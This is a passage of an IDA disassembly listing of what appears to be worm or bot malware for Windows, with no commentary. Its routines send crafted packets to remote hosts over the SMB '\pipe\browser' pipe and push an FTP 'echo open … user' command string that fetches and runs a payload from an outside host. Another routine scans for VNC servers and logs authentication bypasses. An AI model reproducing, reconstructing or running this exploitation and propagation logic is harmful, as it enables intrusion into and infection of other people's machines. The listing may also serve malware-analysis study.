mov esi, [ebp-14h] mov edi, [ebp-18h] loc_40D27D: ; CODE XREF: sub_40D21A+3Ej mov eax, [esi+8] or dword ptr [ebp-4], 0FFFFFFFFh test eax, eax jbe short loc_40D29F cmp eax, edi jbe short loc_40D28E mov eax, edi loc_40D28E: ; CODE XREF: sub_40D21A+70j push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_40CEF6 add esp, 0Ch loc_40D29F: ; CODE XREF: sub_40D21A+6Cj mov ebx, [esi+8] push 1 mov ecx, esi call sub_40D0FA mov eax, [ebp+8] mov ecx, esi inc eax push eax mov [esi+4], eax call sub_40D2DF and byte ptr [eax], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40D2C6 mov edi, ebx loc_40D2C6: ; CODE XREF: sub_40D21A+A8j push edi mov ecx, esi call sub_40D01E mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40D21A endp ; =============== S U B R O U T I N E ======================================= sub_40D2DF proc near ; CODE XREF: sub_40CF0B+70p ; sub_40CF0B+B3p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] dec eax retn 4 sub_40D2DF endp ; =============== S U B R O U T I N E ======================================= sub_40D2E7 proc near ; CODE XREF: sub_40D0FA+47p arg_0 = dword ptr 4 push [esp+arg_0] call sub_41D860 pop ecx retn 8 sub_40D2E7 endp ; =============== S U B R O U T I N E ======================================= sub_40D2F4 proc near ; CODE XREF: sub_40D18A+15p push esi mov esi, ecx mov eax, [esi+4] test eax, eax jz short loc_40D32E push eax call sub_40D2DF cmp byte ptr [eax], 0 jz short loc_40D32E push dword ptr [esi+4] mov ecx, esi call sub_40D2DF cmp byte ptr [eax], 0FFh jz short loc_40D32E push edi mov edi, [esi+4] push 1 mov ecx, esi call sub_40D0FA push edi mov ecx, esi call sub_40D001 pop edi loc_40D32E: ; CODE XREF: sub_40D2F4+8j ; sub_40D2F4+13j ... pop esi retn sub_40D2F4 endp ; =============== S U B R O U T I N E ======================================= sub_40D330 proc near ; CODE XREF: sub_40D21A+36p ; sub_40D21A+4Fp arg_0 = dword ptr 4 push 0 push [esp+4+arg_0] call sub_40D347 pop ecx pop ecx retn 8 sub_40D330 endp ; =============== S U B R O U T I N E ======================================= sub_40D340 proc near ; CODE XREF: sub_40D204p or eax, 0FFFFFFFFh retn sub_40D340 endp ; =============== S U B R O U T I N E ======================================= sub_40D344 proc near ; CODE XREF: sub_40CF0B+7Cp mov al, 1 retn sub_40D344 endp ; =============== S U B R O U T I N E ======================================= sub_40D347 proc near ; CODE XREF: sub_40D330+6p arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_40D351 xor eax, eax loc_40D351: ; CODE XREF: sub_40D347+6j push eax call sub_41D910 pop ecx retn sub_40D347 endp ; =============== S U B R O U T I N E ======================================= sub_40D359 proc near ; CODE XREF: .nsp0:loc_40CD62p ; sub_435790+3p test byte_4EFC18, 1 jnz short locret_40D369 or byte_4EFC18, 1 locret_40D369: ; CODE XREF: sub_40D359+7j retn sub_40D359 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40D36B proc near ; DATA XREF: .nsp0:0043A00Co jmp $+5 sub_40D36B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40D370 proc near mov eax, dword_44A160 add eax, 6 mov dword_4E35DC, eax retn sub_40D370 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D37E proc near ; CODE XREF: sub_40D37E+D0p ; sub_40D46C+474p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_40D392 or [ebp+arg_7], 1 jmp short loc_40D396 ; --------------------------------------------------------------------------- loc_40D392: ; CODE XREF: sub_40D37E+Cj and [ebp+arg_7], 0FEh loc_40D396: ; CODE XREF: sub_40D37E+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_40D3BA or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_40D3CC ; --------------------------------------------------------------------------- loc_40D3BA: ; CODE XREF: sub_40D37E+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_40D3CC: ; CODE XREF: sub_40D37E+3Aj movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_418ED0 test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_40D465 push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call near ptr sub_41C8D0 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] call dword_4F139C ; WriteFile test eax, eax jz short loc_40D45C mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_40D45C push [ebp+arg_20] call sub_419940 cmp [ebp+arg_2B], 0 pop ecx jz short loc_40D458 push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_40D37E add esp, 2Ch jmp short loc_40D467 ; --------------------------------------------------------------------------- loc_40D458: ; CODE XREF: sub_40D37E+B3j mov al, 1 jmp short loc_40D467 ; --------------------------------------------------------------------------- loc_40D45C: ; CODE XREF: sub_40D37E+9Cj ; sub_40D37E+A4j push [ebp+arg_20] call sub_419940 pop ecx loc_40D465: ; CODE XREF: sub_40D37E+61j xor al, al loc_40D467: ; CODE XREF: sub_40D37E+D8j ; sub_40D37E+DCj pop edi pop esi pop ebx leave retn sub_40D37E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D46C proc near ; CODE XREF: .nsp0:0040DA6Dp var_60DC = byte ptr -60DCh var_40DC = byte ptr -40DCh var_20DC = byte ptr -20DCh var_DC = byte ptr -0DCh var_C8 = dword ptr -0C8h var_BC = byte ptr -0BCh var_B8 = byte ptr -0B8h var_B7 = byte ptr -0B7h var_B6 = byte ptr -0B6h var_B5 = byte ptr -0B5h var_B4 = dword ptr -0B4h var_B0 = word ptr -0B0h var_AE = word ptr -0AEh var_AC = dword ptr -0ACh var_A8 = word ptr -0A8h var_A6 = word ptr -0A6h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = word ptr -9Ch var_9A = byte ptr -9Ah var_98 = byte ptr -98h var_88 = dword ptr -88h var_84 = byte ptr -84h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = word ptr -60h var_5C = byte ptr -5Ch var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_47 = byte ptr -47h var_46 = byte ptr -46h var_45 = byte ptr -45h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = qword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 60DCh call sub_41BC60 push ebx push esi push edi push offset a__9 ; "." push [ebp+arg_0] call sub_41DBF0 pop ecx xor ebx, ebx test eax, eax pop ecx jz short loc_40D4E2 push [ebp+arg_0] mov esi, 2000h lea eax, [ebp+var_20DC] push offset aSIpc ; "\\\\%s\\ipc$" push esi push eax call sub_41B910 push 20h lea eax, [ebp+var_DC] push ebx push eax call sub_41B190 add esp, 1Ch lea eax, [ebp+var_20DC] mov [ebp+var_C8], eax lea eax, [ebp+var_DC] push ebx push offset dword_4E35E4 push offset dword_4E35E8 push eax call sub_435826 jmp short loc_40D4E7 ; --------------------------------------------------------------------------- loc_40D4E2: ; CODE XREF: sub_40D46C+23j mov esi, 2000h loc_40D4E7: ; CODE XREF: sub_40D46C+74j push [ebp+arg_0] lea eax, [ebp+var_40DC] push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push esi push eax call sub_41B910 add esp, 10h lea eax, [ebp+var_40DC] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax call dword_4F13A8 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_40D52B loc_40D524: ; CODE XREF: sub_40D46C+197j ; sub_40D46C+36Dj ... xor al, al jmp loc_40D96F ; --------------------------------------------------------------------------- loc_40D52B: ; CODE XREF: sub_40D46C+B6j push 48h lea eax, [ebp+var_B8] push ebx push eax call sub_41B190 push 10h mov [ebp+var_B8], 5 pop eax mov [ebp+var_B7], bl push 1 mov [ebp+var_B4], eax pop edi mov [ebp+var_B6], 0Bh push eax lea eax, [ebp+var_98] push offset dword_44A1BC push eax mov [ebp+var_B5], 3 mov [ebp+var_B0], 48h mov [ebp+var_AE], bx mov [ebp+var_AC], ebx mov [ebp+var_A8], 10B8h mov [ebp+var_A6], 10B8h mov [ebp+var_A4], ebx mov [ebp+var_A0], edi mov [ebp+var_9C], bx mov [ebp+var_9A], 1 call near ptr sub_41C8D0 push 10h lea eax, [ebp+var_84] push offset dword_44A1D0 push eax mov [ebp+var_88], 3 call near ptr sub_41C8D0 add esp, 24h lea eax, [ebp+var_BC] mov [ebp+var_74], 2 push ebx push eax lea eax, [ebp+var_B8] push 48h push eax push [ebp+var_4] call dword_4F139C ; WriteFile test eax, eax jnz short loc_40D608 loc_40D5FA: ; CODE XREF: sub_40D46C+268j push [ebp+var_4] call dword_4F1324 ; CloseHandle jmp loc_40D524 ; --------------------------------------------------------------------------- loc_40D608: ; CODE XREF: sub_40D46C+18Cj lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_60DC] push esi push eax push [ebp+var_4] call dword_4F13A4 ; ReadFile push ebx call sub_41DA60 push eax call sub_41B840 push 14h lea eax, [ebp+var_70] push 41h push eax call sub_41B190 push 1Ch lea eax, [ebp+var_30] push 41h push eax call sub_41B190 add esp, 20h call sub_41B850 mov esi, [ebp+arg_4] mov [ebp+var_70], eax mov [ebp+var_64], edi mov [ebp+var_68], ebx lea esi, [esi+esi*4] mov [ebp+var_6C], edi shl esi, 2 mov [ebp+var_60], bx cmp byte_44A148[esi], bl jz short loc_40D67F push 4 mov [ebp+var_24], edi mov [ebp+var_28], ebx mov [ebp+var_2C], edi push offset dword_4E35EC jmp short loc_40D692 ; --------------------------------------------------------------------------- loc_40D67F: ; CODE XREF: sub_40D46C+1FFj push 2 mov [ebp+var_28], ebx pop eax push 4 mov [ebp+var_24], eax mov [ebp+var_2C], eax push offset loc_44A1E4 loc_40D692: ; CODE XREF: sub_40D46C+211j lea eax, [ebp+var_20] push eax call near ptr sub_41C8D0 add esp, 0Ch call sub_41B850 mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp+var_30], edx call sub_41B850 cdq idiv edi mov eax, dword_44A13C[esi] mov [ebp+var_18], ebx push eax mov [ebp+arg_0], eax inc edx mov [ebp+var_1C], edx call sub_418ED0 mov edi, eax pop ecx cmp edi, ebx jz loc_40D5FA mov eax, [ebp+arg_0] add eax, 0FFFFFFFEh push eax push 90h push edi call sub_41B190 mov eax, [ebp+arg_0] push 2 push ebx lea eax, [edi+eax-2] push eax call sub_41B190 mov eax, dword_44A144[esi] push 7 add eax, edi push offset dword_44A130 push eax mov [ebp+arg_4], eax call near ptr sub_41C8D0 mov eax, [ebp+arg_4] push 15Ch add eax, 7 push offset dword_449FD0 push eax call near ptr sub_41C8D0 mov eax, dword_44A140[esi] add esp, 30h cmp byte_44A148[esi], bl mov [ebp+arg_4], eax jz short loc_40D78B push 4 add eax, edi push offset dword_4E35DC push eax call near ptr sub_41C8D0 add [ebp+arg_4], 0Ch mov esi, offset dword_44A160 mov eax, [ebp+arg_4] push 4 add eax, edi push esi push eax call near ptr sub_41C8D0 mov eax, [ebp+arg_4] push 4 push esi lea eax, [eax+edi+24h] push eax mov [ebp+arg_4], eax call near ptr sub_41C8D0 mov eax, [ebp+arg_4] push 4 add eax, 0Ch push esi push eax call near ptr sub_41C8D0 add esp, 30h jmp short loc_40D7B3 ; --------------------------------------------------------------------------- loc_40D78B: ; CODE XREF: sub_40D46C+2D0j add eax, edi mov [ebp+var_8], 10h mov [ebp+arg_4], eax mov esi, offset dword_44A160 loc_40D79C: ; CODE XREF: sub_40D46C+345j push 4 push esi push [ebp+arg_4] call near ptr sub_41C8D0 add [ebp+arg_4], 4 add esp, 0Ch dec [ebp+var_8] jnz short loc_40D79C loc_40D7B3: ; CODE XREF: sub_40D46C+31Dj mov eax, [ebp+arg_0] add eax, 42h push eax call sub_418ED0 mov esi, eax pop ecx cmp esi, ebx mov [ebp+var_8], esi jnz short loc_40D7DE push [ebp+var_4] call dword_4F1324 ; CloseHandle push edi call sub_419940 pop ecx jmp loc_40D524 ; --------------------------------------------------------------------------- loc_40D7DE: ; CODE XREF: sub_40D46C+35Bj mov eax, [ebp+arg_0] add eax, 42h push eax push ebx ; double push esi call sub_41B190 lea eax, [ebp+var_70] push 14h push eax push esi call near ptr sub_41C8D0 mov eax, [ebp+arg_0] mov dword ptr [ebp+var_10+4], ebx mov dword ptr [ebp+var_10], eax add esp, 10h fild [ebp+var_10] fmul flt_437488 fstp [esp+0Ch+var_10+4] call sub_41CEF0 call sub_41CEBC push [ebp+arg_0] mov [esi+1Ch], eax mov [esi+18h], ebx mov eax, [esi+1Ch] mov [esi+14h], eax lea eax, [esi+20h] push edi push eax call near ptr sub_41C8D0 mov eax, [ebp+arg_0] add esp, 14h add eax, 20h test al, 3 mov [ebp+arg_4], eax jz short loc_40D84B loc_40D843: ; CODE XREF: sub_40D46C+3DAj inc eax test al, 3 jnz short loc_40D843 mov [ebp+arg_4], eax loc_40D84B: ; CODE XREF: sub_40D46C+3D5j lea ecx, [ebp+var_30] push 1Ch add eax, esi push ecx push eax call near ptr sub_41C8D0 add [ebp+arg_4], 1Ch push edi call sub_419940 push 18h lea eax, [ebp+var_48] push ebx push eax call sub_41B190 push 14h lea eax, [ebp+var_5C] push ebx push eax mov [ebp+var_48], 5 mov [ebp+var_47], bl mov [ebp+var_46], bl mov [ebp+var_45], 3 mov [ebp+var_44], 10h mov [ebp+var_3E], bx mov [ebp+var_3C], ebx mov [ebp+var_34], bx mov [ebp+var_32], 1Fh call sub_41B190 add esp, 28h push ebx push ebx push 1 push ebx call dword_4F13A0 ; CreateEventA mov [ebp+var_4C], eax mov byte ptr [ebp+arg_0+3], bl mov dword ptr [ebp+var_10+4], ebx loc_40D8B8: ; CODE XREF: sub_40D46C+4D6j cmp dword ptr [ebp+var_10+4], 2 jge loc_40D94D push 1 push 10B8h push [ebp+arg_4] inc dword ptr [ebp+var_10+4] push esi lea esi, [ebp+var_48] sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+var_4] rep movsd call sub_40D37E add esp, 2Ch test al, al jz short loc_40D94A cmp [ebp+var_4C], ebx jz short loc_40D93C lea eax, [ebp+var_5C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_60DC] push 2000h push eax push [ebp+var_4] call dword_4F13A4 ; ReadFile test eax, eax jnz short loc_40D923 call dword_4F1348 ; RtlGetLastWin32Error cmp eax, 3E5h jnz loc_40D524 loc_40D923: ; CODE XREF: sub_40D46C+4A4j push 3E8h push [ebp+var_4C] call dword_4F135C ; WaitForSingleObject cmp eax, 102h jnz short loc_40D93C mov byte ptr [ebp+arg_0+3], 1 loc_40D93C: ; CODE XREF: sub_40D46C+483j ; sub_40D46C+4CAj cmp byte ptr [ebp+arg_0+3], bl mov esi, [ebp+var_8] jz loc_40D8B8 jmp short loc_40D94D ; --------------------------------------------------------------------------- loc_40D94A: ; CODE XREF: sub_40D46C+47Ej mov esi, [ebp+var_8] loc_40D94D: ; CODE XREF: sub_40D46C+450j ; sub_40D46C+4DCj push [ebp+var_4] mov edi, dword_4F1324 call edi ; CloseHandle push esi call sub_419940 cmp [ebp+var_4C], ebx pop ecx jz short loc_40D969 push [ebp+var_4C] call edi ; CloseHandle loc_40D969: ; CODE XREF: sub_40D46C+4F6j cmp byte ptr [ebp+arg_0+3], bl setnz al loc_40D96F: ; CODE XREF: sub_40D46C+BAj pop edi pop esi pop ebx leave retn sub_40D46C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D974 proc near ; CODE XREF: .nsp0:0040DA8Bp var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41B190 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_4F14F8 ; inet_addr push [ebp+arg_BC] mov [ebp+var_C], eax call dword_4F14FC ; htons push esi push 1 push 2 mov [ebp+var_E], ax call dword_4F150C ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40DA42 lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4F1500 ; connect cmp eax, 0FFFFFFFFh jz short loc_40DA42 mov edi, 400h push esi mov esi, dword_4F1504 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_43A0E8 push eax push eax push dword_4E05C8 push [ebp+arg_0] call sub_40A019 pop ecx push eax push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41B910 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_418D00 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_4F1510 ; send cmp eax, 0FFFFFFFFh jnz short loc_40DA46 loc_40DA42: ; CODE XREF: sub_40D974+50j ; sub_40D974+62j xor eax, eax jmp short loc_40DA5D ; --------------------------------------------------------------------------- loc_40DA46: ; CODE XREF: sub_40D974+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx call dword_4F1508 ; closesocket push 1 pop eax loc_40DA5D: ; CODE XREF: sub_40D974+D0j pop edi pop esi pop ebx leave retn sub_40D974 endp ; --------------------------------------------------------------------------- push ebx push esi push edi xor ebx, ebx loc_40DA67: ; CODE XREF: .nsp0:0040DAADj lea eax, [esp+14h] push ebx push eax call sub_40D46C pop ecx test al, al pop ecx jz short loc_40DA9A push 65h lea esi, [esp+14h] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40D974 add esp, 0C0h test eax, eax jnz short loc_40DAAF loc_40DA9A: ; CODE XREF: .nsp0:0040DA76j test ebx, ebx jnz short loc_40DAA9 push 7D0h call dword_4F1334 ; Sleep loc_40DAA9: ; CODE XREF: .nsp0:0040DA9Cj inc ebx cmp ebx, 2 jb short loc_40DA67 loc_40DAAF: ; CODE XREF: .nsp0:0040DA98j push 1 pop eax pop edi pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DAB6 proc near ; CODE XREF: sub_40DBCD+91p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41B190 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_4F14F8 ; inet_addr push [ebp+arg_BC] mov [ebp+var_C], eax call dword_4F14FC ; htons push esi push 1 push 2 mov [ebp+var_E], ax call dword_4F150C ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40DB84 lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4F1500 ; connect cmp eax, 0FFFFFFFFh jz short loc_40DB84 mov edi, 400h push esi mov esi, dword_4F1504 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_43A0E8 push eax push eax push dword_4E05C8 push [ebp+arg_0] call sub_40A019 pop ecx push eax push offset aCmdCEchoOpen_1 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41B910 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_418D00 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_4F1510 ; send cmp eax, 0FFFFFFFFh jnz short loc_40DB88 loc_40DB84: ; CODE XREF: sub_40DAB6+50j ; sub_40DAB6+62j xor eax, eax jmp short loc_40DB9F ; --------------------------------------------------------------------------- loc_40DB88: ; CODE XREF: sub_40DAB6+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx call dword_4F1508 ; closesocket push 1 pop eax loc_40DB9F: ; CODE XREF: sub_40DAB6+D0j pop edi pop esi pop ebx leave retn sub_40DAB6 endp ; --------------------------------------------------------------------------- push dword ptr [esp+4] call dword_4F14F8 ; inet_addr cmp eax, 0FFFFFFFFh jnz short locret_40DBCC push dword ptr [esp+4] call dword_4F1520 ; gethostbyname test eax, eax jnz short loc_40DBC5 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40DBC5: ; CODE XREF: .nsp0:0040DBBFj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40DBCC: ; CODE XREF: .nsp0:0040DBB1j retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DBCD proc near ; CODE XREF: sub_40B9F0+1E6p ; DATA XREF: .nsp0:off_4492ACo var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+arg_4] push edi push eax mov [ebp+var_10], 2 call dword_4E08DC push [ebp+arg_A0] mov [ebp+var_C], eax call dword_4E08A0 push 6 push 1 push 2 mov [ebp+var_E], ax call dword_4F150C ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40DC3F lea eax, [ebp+var_10] push 10h push eax push esi call dword_4F1500 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40DC20 push esi jmp short loc_40DC39 ; --------------------------------------------------------------------------- loc_40DC20: ; CODE XREF: sub_40DBCD+4Ej push 0 push 1213h push offset dword_44A260 push esi call dword_4F1510 ; send cmp eax, 0FFFFFFFFh push esi jnz short loc_40DC43 loc_40DC39: ; CODE XREF: sub_40DBCD+51j call dword_4F1508 ; closesocket loc_40DC3F: ; CODE XREF: sub_40DBCD+3Cj xor eax, eax jmp short loc_40DC85 ; --------------------------------------------------------------------------- loc_40DC43: ; CODE XREF: sub_40DBCD+6Aj call dword_4F1508 ; closesocket push 216Bh lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DAB6 add esp, 0C0h test eax, eax jz short loc_40DC82 mov eax, [ebp+arg_A8] shl eax, 6 inc dword_4492B0[eax] lea eax, dword_4492B0[eax] loc_40DC82: ; CODE XREF: sub_40DBCD+9Ej push 1 pop eax loc_40DC85: ; CODE XREF: sub_40DBCD+74j pop edi pop esi leave retn sub_40DBCD endp ; =============== S U B R O U T I N E ======================================= sub_40DC89 proc near ; CODE XREF: .nsp0:0040DD77p ; .nsp0:0040DDD9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] xor esi, esi loc_40DC91: ; CODE XREF: sub_40DC89+2Dj test edi, edi jle short loc_40DCBC mov eax, [esp+8+arg_4] push 0 add eax, esi push edi push eax push [esp+14h+arg_0] call dword_4E08B8 test eax, eax jz short loc_40DCB8 cmp eax, 0FFFFFFFFh jz short loc_40DCB8 sub edi, eax add esi, eax jmp short loc_40DC91 ; --------------------------------------------------------------------------- loc_40DCB8: ; CODE XREF: sub_40DC89+22j ; sub_40DC89+27j xor eax, eax jmp short loc_40DCBF ; --------------------------------------------------------------------------- loc_40DCBC: ; CODE XREF: sub_40DC89+Aj push 1 pop eax loc_40DCBF: ; CODE XREF: sub_40DC89+31j pop edi pop esi retn sub_40DC89 endp ; =============== S U B R O U T I N E ======================================= sub_40DCC2 proc near ; CODE XREF: .nsp0:0040DDC3p ; .nsp0:0040DDF0p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] test edi, edi jz short loc_40DCFF xor esi, esi test edi, edi jle short loc_40DCF9 loc_40DCD2: ; CODE XREF: sub_40DCC2+35j mov eax, edi push 0 sub eax, esi push eax mov eax, [esp+10h+arg_4] add eax, esi push eax push [esp+14h+arg_0] call dword_4E08EC cmp eax, 0FFFFFFFFh jz short loc_40DCFF test eax, eax jz short loc_40DCFF add esi, eax cmp esi, edi jl short loc_40DCD2 loc_40DCF9: ; CODE XREF: sub_40DCC2+Ej push 1 pop eax loc_40DCFC: ; CODE XREF: sub_40DCC2+3Fj pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40DCFF: ; CODE XREF: sub_40DCC2+8j ; sub_40DCC2+2Bj ... xor eax, eax jmp short loc_40DCFC sub_40DCC2 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 24Ch push ebx mov ax, word_44B4E8 push esi push edi push 0 push 1 push 2 mov [ebp-2], ax pop edi push edi call dword_4E091C mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40DD31 push eax jmp short loc_40DD65 ; --------------------------------------------------------------------------- loc_40DD31: ; CODE XREF: .nsp0:0040DD2Cj lea eax, [ebp+0Ch] push eax call dword_4E08DC push dword ptr [ebp+0A8h] mov [ebp-48h], eax mov [ebp-4Ch], di call dword_4E08A0 mov [ebp-4Ah], ax lea eax, [ebp-4Ch] push 10h push eax push esi call dword_4E084C cmp eax, 0FFFFFFFFh jnz short loc_40DD70 push esi loc_40DD65: ; CODE XREF: .nsp0:0040DD2Fj call dword_4E0934 jmp loc_40DF5F ; --------------------------------------------------------------------------- loc_40DD70: ; CODE XREF: .nsp0:0040DD62j lea eax, [ebp-38h] push 0Ch push eax push esi call sub_40DC89 add esp, 0Ch test eax, eax jz loc_40DF58 lea eax, [ebp-20h] and byte ptr [ebp-2Ch], 0 push eax lea eax, [ebp-28h] push eax lea eax, [ebp-38h] push offset dword_44B4EC push eax call sub_41CC10 add esp, 10h cmp eax, edi jnz loc_40DF58 cmp dword ptr [ebp-28h], 3 jz short loc_40DDBC cmp dword ptr [ebp-20h], 8 jnz loc_40DF58 loc_40DDBC: ; CODE XREF: .nsp0:0040DDB0j lea eax, [ebp-38h] push 0Ch push eax push esi call sub_40DCC2 add esp, 0Ch test eax, eax jz loc_40DF58 lea eax, [ebp-3Ch] push edi push eax push esi call sub_40DC89 add esp, 0Ch test eax, eax jz loc_40DF58 lea eax, [ebp-2] push 1 push eax push esi call sub_40DCC2 add esp, 0Ch test eax, eax jz loc_40DF58 lea eax, [ebp-24h] push 4 push eax push esi call sub_40DC89 add esp, 0Ch test eax, eax jz loc_40DF58 mov eax, [ebp-24h] mov ebx, 0FF0000h mov ecx, eax mov edx, eax and ecx, ebx mov edi, 0FF00h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, edi or edx, eax shr ecx, 8 shl edx, 8 or ecx, edx mov [ebp-24h], ecx jnz loc_40DF58 push 1 push offset dword_4E35F8 push esi call sub_40DCC2 add esp, 0Ch test eax, eax jz loc_40DF58 lea eax, [ebp-1Ch] push 18h push eax push esi call sub_40DC89 add esp, 0Ch test eax, eax jz loc_40DF58 xor eax, eax mov ecx, [ebp-8] mov al, [ebp-1Bh] mov edx, ecx mov ah, [ebp-1Ch] mov [ebp-1Ch], ax xor eax, eax mov al, [ebp-19h] mov ah, [ebp-1Ah] mov [ebp-1Ah], ax xor eax, eax mov al, [ebp-13h] mov ah, [ebp-14h] mov [ebp-14h], ax xor eax, eax mov al, [ebp-11h] mov ah, [ebp-12h] mov [ebp-12h], ax xor eax, eax mov al, [ebp-0Fh] mov ah, [ebp-10h] mov [ebp-10h], ax mov eax, ecx and eax, ebx shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, edi or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [ebp-8], eax add eax, 2 push eax call sub_41D910 push dword ptr [ebp-8] mov edi, eax push edi push esi call sub_40DF66 lea eax, [ebp+0Ch] push eax push edi push dword ptr [ebp-20h] lea eax, [ebp-24Ch] push dword ptr [ebp-28h] push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]" push 200h push eax call sub_41B910 push 0 lea eax, [ebp-24Ch] push dword ptr [ebp+0B8h] push eax 